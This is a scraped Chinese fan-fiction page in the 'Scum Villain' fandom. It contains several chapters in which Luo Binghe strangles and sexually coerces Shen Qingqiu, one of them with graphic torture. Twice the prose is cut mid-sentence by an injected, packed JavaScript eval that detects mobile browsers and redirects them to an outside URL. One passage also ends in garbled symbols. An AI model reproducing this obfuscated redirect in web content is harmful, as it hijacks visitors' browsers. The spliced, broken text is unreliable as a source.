而且他也发现了最关键的事情:只要自己进行‘讨好’这个操作,然后只要努力显得恶俗一点,对面的这个人(洛冰河)就会非常的厌恶,然后转身走人。 分析清楚状况后,沈清秋进行了两种完全不同的政策。 但其根本意义却是一样的,都是使用相对应的政策,逼对方离开,然后给自己更多的喘息空间。 说到底,也不过是努力活着,争取更好的活着。 “你好像很怕我?” 沈清秋看着直直盯着自己的洛冰河,不知道他又犯什么病,抽什么风,但是为了小命,又不得不与之周旋: “师傅说哪里话,徒儿怎么会怕师傅?只不过师傅捏着徒儿的脸太疼了,弟子个子高,此时腿有些酸……” 洛冰河将沈清秋吸过来的时候,是直接拽的。所以当他轻轻松松捏着沈清秋的脸时,沈清秋整个身体是倾斜的。为了保持平衡,沈清秋一只腿屈膝半蹲,另一只斜向伸开,双手抓着洛冰河的手腕,脖子伸长,脸颊向上,喉结……极为明显。 洛冰河突然想起来那个世界的沈清秋(沈垣):温柔的揽着自己的腰,给受伤的后背输送灵力;贤淑的收拾床铺,还与自己共躺一处,一整晚与自己护法。 后面,貌似那个世界的小畜牲,好像还与他有身体上的交流? 多么的,令人厌恶啊。 洛冰河,手上动作越来越紧,压迫沈清秋的咽喉,直掐的他呼吸不畅,抓着洛冰河胳膊的手指都深深嵌入,流出暗红色的血液。 “唔…咳,咳……” 洛冰河被沈清秋的挣扎惊醒,看着自己面前脸色苍白,眼角泛红,呼吸不上来,双手努力扒开自己手指的某人。 正常人都会松开抓住被钳制之人咽喉的手。 可洛冰河不是正常人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096388|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他只觉得这样‘脆弱’的沈清秋,很想让人欺负。 虽然这个世界的他一直都是以一种示弱,脆弱,恶毒,恶俗,世俗的状态表现。 但是洛冰河知道,这些只不过是他为了迷惑自己的眼睛所创造的假象。 真实的他,硬的就像是块石头。 但是面前脆弱不堪,几乎整个性命要被自己捏在手里的沈清秋,实在是很难得的,让人觉得心神愉悦啊。 这样脆弱的虫子。 这样轻轻一压就会死掉的生命。 这样之前还在与自己努力周旋、卖萌示弱的家伙。 简直太有趣了。 毕竟沈清秋的求生欲他还是了解的。 沈清秋之前采取的方式他也能理解。 无非就是想表示幼年沈清秋与‘上一世的沈清秋’完全不同,他们是两个不同的人。然后用各种方法进行试探,发现自己的喜怒爱好,选出自己最厌恶的那种。 然后,沈清秋就按照自己的‘爱好’,把幼年沈清秋伪装成自己最厌恶的那种人,逼自己对他没兴趣,最后走人。 当然啦,他之前的那些,都很对,这也是他一直没有发现,后续发现也没有戳穿的原因。 看着对方由于信息不对称而努力在自己面前伪装的样子,那样小心翼翼、漏洞百出的花样,是多么有趣呀。 我已经发现了你的伪装,但是,你却不知道我发现了你,所以你还在继续你那拙劣的、自以为演技精湛的演出。 而我只需要稍微一点点的配合,就能欣赏到你苦心竭力、倾其所有的应对。 简直不要太好玩了。 当然啦,这个‘沉浸式演戏’还是很有意思的。 面前的这个玩具,目前很能讨自己欢心,所以洛冰河也并不想在此时此刻就结束他的生命。 毕竟这样有趣的东西要好好珍惜,多加保护,让他带给自己更大的快乐才行。 但是呢,洛冰河又不想轻易的放过他。 毕竟人都是贱的嘛,虽然心中知道该干啥,但是他就是不想那么干,他就是逆反,非想要多折腾沈清秋一下,又能如何呢? 所以。 洛冰河做了一个非比寻常的举动:啃沈清秋喉结一口。 没办法,这个姿势下,拉长的脖子,清晰度血管,滚动的喉结,无一不是一种诱惑! 而且那个世界的小畜牲都能和沈清秋同床共枕,极为亲密;他统领仙魔两界,手握能跨越时空的心魔剑,处处比他强,为什么他不可以? 所以,洛冰河压倒沈清秋,扒光他的衣服,让他狠狠哭泣,理所应当! 众所周知,喉结,本就是性感……的地方。 而啃或舔,都是一种别样的刺激。 洛冰河如愿啃了一口,终于明白房事上,为什么那些女人情动之时,喜欢摩挲他的喉结——这实在是,太涩情了! 两人紧紧的贴在一起,洛冰河将头压下,伏在沈清秋喉咙上,用尖锐的牙齿留下他的印记。 沈清秋下意识的咽了口唾沫,将手快速抵着洛冰河的头发,想将他推开。 沈清秋的反抗令洛冰河更加激动,他简直想要更细腻的舔一下,吮吸一口,再次感受对方喉结的波动,对方呻吟时咽喉里面所传来的声音的振动。 就在洛冰河想要更进一步的时候,沈清秋终于不装了,大概是到了某种极限,沈清秋再也不是之前那些小猫似的挣扎,而是充满灵力的推开: “师傅!你太过分了!” 沈清秋当然能推开洛冰河,解脱他的禁锢,但是一个二十多岁的、无门无派的散修,很难解释为什么他会有那样的修为和能力。 而且,他也怕激起洛冰河的兴趣,引起怀疑!目前洛冰河的力度自己还能挣脱,若是引起怀疑,下次就很难‘出其不意’的逃跑了! “师尊啊,都到这种地步了,你确定你还要演戏吗?” “……” 沈清秋看着好整以暇的洛冰河,眼神复杂,不知道这玩意突然发什么疯,怎么想起来咬自己了! 而且,这玩意每次都得来几次试探,沈清秋也每次都努力‘回应’他的试探,虽不敢保证天衣无缝,但始终没被‘点破’。 两人就这么不清不楚的,貌合神离的,几年遇见一次,沈清秋虽然想一劳永逸的解决,但是他知道目前已是最好的状况了! 所以。沈清秋选择维持原状: “师傅,您怎么又说让徒儿听不懂的话语了?” 对于沈清秋的装傻,洛冰河一直很受用。但是今天他的突发奇想,令他现在情欲难抑,他只想将眼前之人扒皮拆骨、吞入腹中,不想继续维持虚假的‘师徒情’: “其实弟子也不是不能配你演,毕竟我们之前演的,不是很愉快嘛。” “还是说师尊你更想要弟子戳破你的伪装,一条条的揭穿你的破绽?” 洛冰河眼神邪肆的伸手摸了摸自己的嘴唇,手上比划: “更或者,一点点的扒开……” 话都说到这里了,想必大家都心知肚明,伪装早已没有了意义。沈清秋忍不住裹紧了自己的衣物,问出最大、也是最想知道的问题: “小畜牲,你为什么非要盯着我不放?” 可惜,洛冰河并不想回答沈清秋的疑惑,他抓到了沈清秋的破绽,一把将他搂在怀里,比划纤细柔韧的腰肢: “师尊,你终于承认了呀” “欺师妄上的杂种!你的脸呢?我忘了,你们魔族从来不要脸!” 沈清秋一时不察,被他抓住,快速祭出几张符箓,又拿出数枚灵石,打算摆个传送阵,逃离此处。 洛冰河解决掉对自己用处不大的符箓,看着从自己怀里跑出去、现在飞速摆阵的沈清秋,嘴角勾起一丝冰冷笑意,轻飘飘的说: “师尊啊,你看看自己的手指” 飞快摆阵打算逃离的沈清秋将最后一个阵眼放好,踏入阵中,启动阵法: “?你又想耍什么花样?” “师尊啊,你这次可错怪弟子了。”洛冰河一步步逼近:“天魔之血内服可以控制人,外用嘛……” 沈清秋听着一愣,看了眼十指尖端的血迹,快速施法,想要清除手上的余血。 “师尊,别白费力气了。你刚才若是早些发力,直接推开弟子,还有可能解决。” “但是你为了伪装成散修,将手指狠狠插入弟子手腕的时候,你的指尖与甲盖的缝隙处,早就被天魔之血侵染,是清除不掉的。” 阵法已成,光芒大盛,沈清秋看着预设好的地址,终究还是不死心的问道: “洛冰河!我到底哪里对不起你了,能让你上天入地、变换时空,哪怕是换一个世界,也依然要追杀我?” “怎么能说是追杀呢?你我之间的恩怨情仇,早就融入骨血之中。当然是断不掉的啦” 洛冰河手上心魔剑轻轻划过,沈清秋布置的阵法当场被毁: “!!!”沈清秋不敢想象,自己努力搜寻的底牌,竟然如此不堪一击? 洛冰河不屑的看了眼传送阵法:什么阵法能比得过拥有跨越空间、时间、破碎时空、越过两界之力的心魔剑? 传送阵法虽好,可心魔剑只需要‘划破’,更何况他还是充满了鲜血滋养的大杀器!破坏一个启动、刚构建两地链接的传送阵,小意思啦~ 洛冰河看着震惊的沈清秋,手一伸,再次将他揽在怀里: “师尊啊,我是你养大的呀,我还没报养育之恩,怎么可以随随便便的离开呢~” “你就是这么报恩的?!我跟你什么仇什么怨啊,能让你这个样子?!” 沈清秋爆发灵力,又一次打退洛冰河。 “挺大的呢,毕竟你可是我的‘良师益友’呢~” 洛冰河也完全不着急,陪沈清秋玩你逃我追的猫逗老鼠游戏。 一切尽在掌握之中,沈清秋失去跨越空间的传送阵,飞剑速度和修为境界岂能比得上两界尊主洛冰河? 终于,沈清秋灵力用尽,符箓和灵剑都被折损,不得不背靠墙壁,警惕的与洛冰河对视: “你别过来!” 可惜洛冰河打定主意不放过他,非但如此,还要言语上打压他,给予他身体与精神的双重打击: “师尊,你都站不稳了,弟子当然要扶着师尊,不让你摔倒啊。” “师尊,别跑了,你身后只有一堵墙,难道是想跑入别人怀里?” “师尊啊,真不乖,好好说话你不听,看来只能……” 洛冰河不再打算与沈清秋兜圈子,欺身压上,将沈清秋死死的困在自己怀里。并且为了惩罚他之前的‘不配合’,洛冰河用手摩挲着沈清秋腰上软肉:重重叠叠的衣服,有种让他拆礼物的惊喜,他要思考一下先从哪里下手。 “洛!冰!河!”毫无灵力的沈清秋就像是一只被毛巾裹住的猫,除了张口嚎叫,只能动口咬人。 但是他清楚的知道,只要自己一开口,且不说牙能不能保住,万一天魔之血入口,一辈子都别想逃脱控制! “师尊,别挣扎,你像之前那样不好嘛?你说句‘师傅,我疼’,我就立刻放过你” 虽然沈清秋之前的表演并不算多完美,但是那样示弱、讨好自己的沈清秋,洛冰河还是很享受的。若是自己怀里那个疯狂挣扎的家伙能软一点,再像之前一样撒娇卖萌,洛冰河不是不能温柔点。 毕竟,柔软的床上伴侣,才是男人最想要的极品啊~ “滚!” 可惜了,洛冰河对之前卖萌的沈清秋还蛮想念的。但是伪装已经打破了,估计很难再见到了: “师尊啊,看来你独自呆了几年,脾气见长啊……那弟子废去您的修为可好?” 洛冰河终于想好了餐食从哪里开吃,双腿发力将沈清秋乱蹬的脚控制住,一只手将沈清秋的两只胳膊紧紧向上拉开钳制,另一只手抚上沈清秋的小腹,作势要毁去丹田。 此情此景,沈清秋就像是被洛冰河环抱着,若是不看脸和周围环境的话,就像是痴情的丈夫情深义重的抚摸妻子的小腹,感受体内婴儿的胎跳。 “你!”沈清秋完全收不回被抓住的胳膊,也无法反抗来自洛冰河的禁锢,只能感受到冰冷的气息在自己小腹打转,带来一股透彻的、深沉的凉意。 “师尊,你再向之前那样求求我,你求我,我就不毁。” 洛冰河的手一层层剥开沈清秋的衣物,贴在他的腰腹上,感受来自沈清秋身体的热度与害怕的颤栗,以及被自己冰到、起的鸡皮疙瘩。 “你滚!”沈清秋的疯狂反抗超乎洛冰河想象,若是说之前沈清秋已经花样百出、筋疲力尽,现在嘛——那是恨不得以命相搏! 所以。究竟是害怕沦为废人。 还是…… 洛冰河低眸看着落在地上的衣物,想起清净峰峰主不爱与人身体接触的传言,又想起曾经看到过的、另一个世界的沈清秋的记忆。好像,懂了什么? 虽然他刚才是真的只是想毁掉能让沈清秋逃窜的修为。但是手贴上去的那一刻,他突然又有点迷恋,现在想想,自己好像是在……调清? 不过嘛。沈清秋越怕什么,洛冰河就越想干什么。毁掉他的修为固然是沈清秋害怕的,但是当自己手放过去之后,沈清秋的害怕程度指数上涨!反抗力度也越发加大! 所以洛冰河很人性化的,询问沈清秋: “师尊好像很喜欢弟子伸进去?那师尊是想让弟子向上呢,还是向下呢?听说清净峰峰主沈清秋风流倜傥、流连花楼,想必这种事情,经历的不少吧?” “畜牲!杂种!欺师妄上!罔顾人伦!” “师尊,别骂了,你是想上,还是下呢?”洛冰河心情很好的绕圈打转,低头看着挣扎不出自己手心的某人,饶有兴趣的问:“还是,师尊更喜欢上下其手?” 沈清秋没有说话。当然洛冰河其实也不需要他回话,他只是想要更进一步的逼疯沈清秋,让物理条件下无处可逃的他,精神层面也逃不掉! 出乎意料的,沈清秋最后禁闭了一下双眼,眼中含泪,巍巍颤颤的向洛冰河求饶:“师傅,我怕,住手吧……” 洛冰河手指夹着沈清秋最后一层里衣,指尖冰冷的寒意透彻入骨:“现在才求饶?” “师傅,求你了,住手吧,我好怕……” “呵,”洛冰河将沈清秋的脸掐向自己面前: “怎么,这次又换策略了?上一世不是还嘴狠骨头硬吗?被我揭穿之后不是一口一个‘罔顾人伦的畜牲’、‘欺师妄上的杂种’吗?” 洛冰河嫌弃的看着面露脆弱的沈清秋,一度又想把他扔的远远的。 可看见满地的衣物,想起另一个世界的‘师慈子孝’。他就恨不得将眼前之人狠狠的压在地上,让他哭的眼泪再也流不出来,嘶喊的嗓子再也说不出话,让他沉沦玉海、永登极乐! 所以。沈清秋,你为什么要求饶呢? 你不求饶,我完全可以实现我的构想,将你这个永远趾高气扬的家伙打趴在地上,然后狠狠的干,让你哭,让你叫,让你成为后宫一员,成为狂烈的、反抗贼激烈的床上宠物。 这样,才是正常发展啊! 所以。沈清秋,你这次可真是,又一次用这个策略,令我恶心、厌恶的连最后一层都不愿意扒下——明明,只要除去这一层,两个人就可以生命大和谐,骨血相融。 —— 关于求饶,是沈清秋最后一个赌。 毕竟这个世界用的蛮多,挺好用的。 只是他不能确定在此时此地好不好用…毕竟之前两人(沈清秋单方面)几乎杀招倍出,还被洛冰河抓住命门,整个人落在他手里。 但是最重要的一点,也是最令沈清秋厌恶的一点:这畜牲怎么又想睡自己!阴魂不散就算了,想要自己性命不说,还想要自己的身子!!! 打不过、拼不过的家伙,又一层层的扒自己衣服。而且为了羞辱自己,他扒一层还要给自己描述一下:从材质到色彩,又并上衣服的质感和落地的状态。洛冰河事无巨细的在自己耳边轻声诉说,时不时还要含一下自己的耳垂! 简直太涩情了! 一个不好,自己就得阴沟翻船,清白不在! 沈清秋再次后悔,为什么上一世要跟柳清歌赌气,与洛冰河搭上关系不说,后续还因柳清歌之死被天下人认为自己是个暗害同门的恶毒小人! 屮你大爷的,劳资沦落到此,打是打不过了,智取……就再再再恶心一下彼此吧!!! 沈清秋疯狂的回想悲惨过往,眼中逼出泪珠,将不甘与愤怒压到灵魂深处,脸上只露出清纯的无助与哀伤,泪眼朦胧: “师傅,我疼,我怕……” 为了加强效果,沈清秋疯狂回想近些年游山玩水的快乐,脸上纯真之色加深,泪珠顺着脸颊滚落,滴在洛冰河的手上。 沈清秋刚落下的温热泪珠,与洛冰河冰冷的手掌,形成鲜明对比。 嗯,若是将来回想,沈清秋会觉得自己可真虚伪啊,玩弄人心,恶心彼此。 但此时此刻,沈清秋卸下全身力气,身体后退半步,被压住的双手软弱无力,不再挣扎;被钳制的双腿不再别力,径直倚靠借力;就连平日里挺直的脊背都仿如无骨般贴在洛冰河怀里,整个人放弃挣扎,任人玩弄。 洛冰河大概是没被这么对待过的。他怀里不是没有过妹子,但是他们都各有千秋。柔弱的一直温润如水,强硬的也一直傲然自在。 像沈清秋这样‘放弃抵抗’的,除了一开始的敌人、后面的后宫之外,几乎不存在。 但妹子的身体与性格,以及他们所代表含义是完全不同的! 洛冰河终于等到了沈清秋的服软,而让他服软也很简单,都不需要真的睡,只需要扒干净衣服就够了。 如此,以为需要大动干戈,结果却是如此仓促的收场,令洛冰河突然怅然若失:若是如此轻易就能得到想要的,那他之前那些,都是为什么? —— 不得不说。沈清秋又赌对了。 他紧紧的拉住内衬,快速将衣服穿好——身为一个讲廉耻的人,他现在脸都红了!太羞耻了!简直太耻辱了! 被一层一层沈扒了衣服不说,最后还得配合洛冰河的变态爱好,向一直看不上、合不来的人求饶讨好! 绝望啊,羞耻啊…… 可是,可是沈清秋是真的很喜欢这个世界,很想努力活下去啊! 生容易,活容易,生活不容易啊! 唉。管他呢,水来土挡,先逃过这劫,活下去再说! 16.开系统挂,打冰哥boss(未完) 1.论如何将男频仙尊转化为女频师尊受 事情要从冰哥从渣反回来说起。 一个什么都有、生活近乎无聊的男频龙傲天,突然感受到了女频师尊受的‘温柔体贴’。以及还没来得及‘细细体会’,这片刻的温柔就被人无情且蛮横的抢走,更是在与对方大打出手、激烈交锋的情况下,都没能人抢过来。 身为龙傲天,冰哥如何能容忍这般屈辱?就算是那个东西不是他的,只要他看上了,就得是他的!所有敢与自己做对的人,必定会死于他的雷霆之怒下! 他回归自己的世界后,反复思量,最终还是决定集结人手、召集各路英雄豪杰,剑指‘渣反世界’。 只是——冰妹实在是个‘打不过就跑,不想惹麻烦干脆毁掉心魔剑’的好手,故而——冰哥定位不到渣反了!!! 很生气,要杀几个人才能平息这熊熊怒火。不知是嫉妒还是愤恨的火焰从冰哥心里涌现,直让他恨不得将所见到的一切都恨不得燃烧殆尽才行! 但,简单粗暴的杀戮并不能解决这件事。 冰哥看着地下如蝼蚁般瑟瑟发抖、命悬一线的众人,心里的某个角落,悄然的从变态升级得愈发扭曲了。 他令人将牢里那个硬骨头拎出来,高高在上的稳坐首位,冷眼瞧着那惨不忍睹、被打压成蛆虫的玩意:“沈清秋。你还好吗。”声音森冷如数九严寒的凌冽寒风,音调如阴冷滑腻的毒蛇,随时准备择人而噬。 底下的那团看不清的血肉好像动了动,却又难以看清究竟——毕竟都模糊得连各个部分都看不出来了,谁又能知晓,他究竟做了什么动作呢。 ‘是了。’冰哥瞧着下方不成形的肉块,上面裹满了尘土与猩黑,即便是再多加上几分新鲜伤口,怕是也看不出血液本来的颜色。这样的东西,如果还能被称之为‘人’的话,还不如早早死去。 冰哥右手优雅的撑着下巴,饶有兴趣的琢磨着:这般瞧一眼都会令后宫佳丽做噩梦的东西,要不要喊宁嘤嘤过来相认一番呢。毕竟,他可最喜欢‘团圆’了呢。 “沈清秋。”冰哥再度出声,好奇道:“你说,什么样的情况下,你会温柔体贴、与人为善?” 地上的肉块依然一动不动,仿佛失去了所有生机,早已腐朽不堪、溃烂不成形,看不出来各种状态。 冰哥悠然的走下来,步子沉稳而从容,带着养尊处优的上位者气息。他看着那踢一脚都嫌脏的玩意,讥讽道:“让你与人为善,是不是比杀了你还难?” 嗯?冰哥调动天魔之血,成功看到底下的血团子晃动起来,淌出许多脏污腥臭的液体,散发出令人作呕的气息。 “对哦。”冰哥嘴角勾起,眼底满是残忍:“我都忘了,你早就不能言语了。” 冰哥轻拍双手,令人将之前无聊时收集的部件呈上。又看向医师准备的各色止血、镇疼、助愈的药物,果断将这些药物踩碎,漠然道:“知道该怎么做吧?” “明白,明白”医师们诚惶诚恐的跪了一地,手忙脚乱的拉起屏风,务必不能让尊主被这血腥污秽的场景惊扰到眼睛,又要确保尊者能听到患者的嘶吼,满足尊者的恶趣味。 ———— 当故事落幕的时候,那些被蒙蔽双眼的人,终于挣脱了‘人设’‘剧情’的束缚。 沈九被冰哥恶意拼接,又以天魔之血续命,清洗干净后,竟也有了几分往昔的仙尊风采。他于死牢里被拽到大殿之上,强行跪在冰哥眼前的时候,看着那个高高在上的龙傲天,忽的笑了:“世事无常,死生无状。事情的发展,有时候竟比话本还荒诞有趣。” “嗯?”冰哥看着敢挑衅自己的家伙,心念一动,以内力将人牵引过来,两人的距离近的能感受到彼此的呼吸:“别忘了,你这身躯体,是谁赐予的。你能活下来,又是用的谁的血。” 沈九将头远远的避开,错开冰哥略带温度的吐息,厌恶的表情犹如在闪躲瘟疫:“无非是另一种折磨手段罢了。” 冰哥看着冥顽不灵、柴油不进的玩意,气的将人一把甩在地上,又忍不住将脑海里曾见过的‘温柔版’、‘主动给自己疗伤、与自己同床共枕’沈清秋做对比,眼里充满了不甘与怒火:“凭什么你对他那么好!” 沈九不理解冰哥的莫名其妙,也不懂他突如其来的怒火,但,只要冰哥气急败坏,他便欣喜,所以沈九笑的无比猖狂。略显沧桑和沙哑的嗓音于空旷的殿宇间回荡,更是将冰哥气的浑身发抖。 即使沈九不理解是谁能气到冰哥,但冰哥现在的样子,恰似那得不到、还被抢走糖果的孩童。即使天魔之血加身,各种刑罚加持,只要看着冰哥恼羞成怒的模样,就能让沈九忍不住的大笑。 “你笑什么。”冰哥看着明显被天魔之血折磨得凄惨的战败者,露出属于上位者的残忍之色:“你不会以为,我把你拼凑出来,是因为‘喜欢’‘宠溺’你吧?” 想到这里,冰哥忍不住怀疑起另一个世界的真实性。毕竟世间有一个‘梦魇’能操控梦境,又怎知不会有其他人获得类似的能力? 冰哥将沈九拉到自己面前,紧紧的盯着他的眼睛,眼里闪过怀疑:“沈清秋,你当真会‘爱人’吗?” “人如何与畜生为伍?”沈九毫不犹豫的吐他一脸血,其眼神之决绝,仿佛要透过皮相看透灵魂:“天道宠儿,故事结束后,还有冥冥之中的天意庇护你吗?” 冰哥的俊脸一瞬间变得森沉,他最不能容忍别人提及自己的成功乃是天道相助,而沈九捉人痛脚的能力真是一如既往的令人厌恶。冰哥将脸上的血抹干净,把人扔到脚下,右脚如踩石头般压上去:“那又如何?” 冰哥毫不在意的脚下碾了碾,仿佛脚下的,不是一个活生生的、刚被他组装完成的‘人’,而是一个毫无价值的破烂:“沈清秋,苍穹山覆灭,清静峰全员皆亡。你的师兄弟们早已将你舍弃,你还有什么能耐与我抗衡?” 沈九不言语。毕竟,这个东西,还真没法说。即便是天道已经走完流程,可那些‘情节’遗留下的势力与人员,依旧为冰哥所笼络。而沈九所留有的,大概也只剩下这条不值钱的命吧。 冰哥看着冷硬如石头的家伙,脚下的触感告诉他,即便是人体最坚固的头颅,只要他想,随时可以跺碎。 只是——若是冰哥不愿,沈九压根活不到现在;而沈九能存活至今,本就是冰哥刻意为之。如此轻易的被激怒,进而将人一脚踩死,或许正中沈九心意? 冰哥似是想到了什么,控制沈九坐到自己旁边,接着‘深情款款’的将沈九的手强行拉到自己掌中:“师尊,只要你‘乖’一点,我也可以给你个机会。毕竟……那个世界里,你做的甚好。” 沈九毫不犹豫将手抽出来,并附送一巴掌。迅速起身,像是碰到了什么剧毒之物,快速将手反复擦了又擦:“那就去抢啊。畜生不就喜好争夺骨头吗。” 冰哥终于对‘怀柔’政策丧失兴趣,眼神变得幽暗而危险,某种稍纵即逝的期待彻底被泯灭。他将人强行拽到自己怀里,擒住他的肩膀,以一直不容拒绝的姿态将人压在座椅上:“既然学不乖,那就让我‘亲自教导’好了。” 2.系统外挂已到账!这次必定要九与冰哥双A双强! 神,当爱众生。又当漠视众生。 天道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100205|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当不仁,以万物为刍狗。 而此刻的沈九,在阳光的笼罩下,俊美的面庞、挺拔的身姿、漠视一切的神情,正契合众人对“神明”“仙人”的想象。 ———— 冰哥对待自己的后宫,向来温柔如水、体贴入微。但对待自己的敌人,就似狂风暴雨般凌厉迅猛了。尤其是,哪怕知道某人艰难承受,只要对方死扛不吭声,就坚决不罢手。 直至将人压榨至晕眩,便如同用完就丢的傀儡般,如弃敝履的将人扔回地牢。 沈九此刻犹如破烂人偶,内无灵力功法护身、外无尖锐利器御敌。唯一可仰仗的,或许就是尚算清醒的头脑、以及这条死不掉的烂命。 “滴滴。”突如其来的声音在沈九耳边响起,他微微挪动身躯,环顾四周:污秽不堪的牢房里,堆满了破烂且蚊蝇群集的茅草,地上的血污与淤泥,散发着令人作呕的腐臭腐朽。牢门外,是层层把关的狱卒,此刻正百无聊赖地饮酒划拳,消磨时光。 “宿主您好,‘人渣反派自救系统’竭诚为您服务。”机械合成的声音突兀的响彻在沈九耳边,如平地惊雷,外界却无人发觉。 一个来路不明的、突兀出现在脑海里、且不为外界察觉的东西。 沈九瞬间下定论。 “恭喜宿主成功触发关键词‘天道宠儿,故事结束后,还有冥冥之中的天意庇护你吗?’系统已充能成功,请宿主确认绑定。” 机械的声音再次传来。 与此同时,另一个与此前风格迥异的声音也传入:(纵观无数任务者,那个不得尊称我们‘系统霸霸’,便是之前那个成功模板,还不是依着咱们的要求不敢有半分越矩?) “嗯?”沈九微微一惊,聆听着这两道截然不同的话语,心中明了对方应未察觉自己能听到第二句,因为他还在用呆板的机械音催促着: “本系统可以赠与你无数机缘与功法,只要你按照要求完成任务,本系统必能助您登上人生巅峰。请宿主于脑海中重复‘确认绑定’。” 随即,沈九的脑海里又响起另一道声音:(原住民就是难搞,明明那穿越者三两句话便能哄骗,如今还得奉上资源求着,真真是麻烦透顶。) ‘……’沈九此刻万分笃定,这突然冒出之物,乃是敌非友。虽然他‘明面上’的话语听起来很诱人,但“暗地”的吐槽,却将那叵测居心暴露无遗。 沈九面色不改,仿若未闻,暗自运功,调养身体所受之伤。 可惜那系统纠缠不休,犹如所有走投无路的附身之灵,抛出所有诱饵,妄图哄骗鱼儿上钩: “您如今的内力绝无修炼而出的可能,本系统可带您突破此界桎梏,赐您别界功法,让您拳打天道宠儿,脚踢各路豪杰!” “您不是一直对受损根骨耿耿于怀吗?本系统可为您调理身躯、修复根骨,令您成为世间绝顶之人!” “您不是感慨故事落幕、逝者众多吗?本系统能助您扭转乾坤,重置这世间!!” “吾等之任务宗旨乃消灭本世界天道失衡下的气运之子,将应有的平衡资源调整,与您之诉求契合,宿主请点击确认!!!” “宿主!请点击确认!!只需要您轻点眼前的这个绿框!!!” “(>](>}]}[])>(]$[♂#^?#^? 3.后续安排 这个本身是打算写系统安排九干活,结果九直接反攻系统,自己给自己发布任务,自己给自己奖励,最后获得外挂的故事。 可惜关于系统怎么样给出适合的奖励实在是设想不出来,所以坑掉了。 后续有机会写吧。 17.假如捡到洛冰河的是重生沈九 假如捡到洛冰河的是重生沈九 重生沈九将洛冰河丢给柳清歌养 众所周知,爱恨这种非常强烈的情感。 都会使人第一时间“发现对方”。 有道是:最熟悉你的不一定是恋人,更可能是敌人。 所以嘛~ ——正文—— 意外从河里捡到婴儿的时候,沈清秋刚与柳清歌做完魅妖任务。 魅妖,顾名思义,喜欢迷惑男人,吸取其精气以助修炼。 魅妖一旦出现,首先瞄准的就是青年才俊: 他们往往一去几月不归,归来也跟痨病上身似的,浓重黑眼圈、脚步虚浮,一看就是被掏空了身子。偏这些人还“乐不思蜀”,极度不配合前来救援人员。 这次的事情发生在较为偏僻的山林中。村子就那么大,精壮劳动力大量丧失,自然会有人报官,凡尘官家解决不了,就会上报给最近的修仙门派。 再加上沈清秋急于修炼导致心境不稳,被岳清源以任务的名义,被打包给了柳清歌。 柳清歌与沈清秋之前是组过任务的。但是由于种种意外,柳清歌一直认为沈清秋对自己的怨恨,已经达到了要趁任务偷袭以弄死自己的地步,所以一直推脱。 可惜岳清源几度提起,又各种“动之以情、晓之以理”,柳清歌看着被案牍劳形的掌门(上任),又听着岳清源喋喋不休的各种劝导,最后还是应下了。 当然,两人的配合还算不错,很快将魅妖除掉。但很不巧的,两人都中了点魅妖毒。 沈清秋看着以武力强压魅毒,快速解决战斗的柳清歌,又感受到从身体传来的、难以压制的情愫,直接转身就走。 原本沈清秋是打算找个勾栏,可惜此地穷乡僻壤,是真正的“山里人家”,所以也只能寻找水源,借其凉意,舒缓毒素。 而很碰巧的,遇见了上流飘下来的木桶。 怎么说呢。此时的时间轴上,天琅君和其恋人,还是修真界的心腹大敌。人魔相恋,属于与世不容的那种。 所以,刚出生的洛冰河,被其母放在木桶中,顺流而下。说不定,有好心人收留,也算是“逃出生天”了。 ———— “?”沈清秋正借溪水之凉意缓解所中魅毒,忽然看见上游飘下的木桶,好奇之下,上去查看。 嗯。木桶中,睡着一个婴儿。体态安详,身上的布料很华贵,佩戴着一块看起来像是墨玉的石头,拿起看一下,入手即暖,温润的玉石触感,果然是块好玉。 “这是那位富家千金与人有了首尾,生下如此孽障?”沈清秋对被遗弃的孩子并没有什么好感,对抛弃亲子的父母更是恶意满满。 毕竟。他也是被抛弃的一方。 无论是自己那素未谋面的父母,还是忘记诺言的童年玩伴。 一般人看到婴幼儿,第一时间是想保护他。 家境贫寒的,可能会把贵重布料和玉佩收起,等孩子长大后让他借此寻亲。 心怀歹意的,可能会把孩子的衣料与玉佩脱下,拿去换钱。所以,为了防止这种情况,孩子的母亲还在被褥下附信一封: 这是一个曾经饱受期待、现在不被喜爱的孩子。信封中有千两白银,望有缘人能抚养他一阵子,若有机会,我会去寻他的。 “呵” 翻看书信的沈清秋,嘴角挂起嘲讽的弧度: “既然给出白银千两,又随身附带暖玉,却要通过河流随意飘荡?难道这么有钱的大小姐,竟连个衷心的、可托付的侍女也没有吗?” 另外,书信的结尾附带一个“洛”字,想必这就是孩子母亲给他起的“字”或孩子的父亲或母亲姓氏。 有钱、有心、而且这姓氏也不寻常(如赵钱孙李等),怎的就沦落到''一只木桶随处飘,风吹浪打就是命''的地步了? 算了,沈清秋自认不是什么好人,但也看不得刚出生的婴儿活生生冻死、饿死,便也发发善心,先带他离开吧。 ———— “沈清秋?你又搞了什么风流债?!” 看见抱着孩子出现在集合地点的沈清秋,柳清歌震惊的茶水都要喝不下去了——知道沈清秋不是啥好人,还经常往勾栏青楼等地跑,却没想到他连孩子都有了! “柳清歌!劳资要弄死你!你眼瞎吗!”对于柳清歌的''指责'',沈清秋气的恨不得将手中的孩子摔到柳清歌头上: 劳资只是发善心,不是什么乱七八糟的风流债!而且我像是那么不讲究的人吗?什么乱七八糟的孩子都能有??? 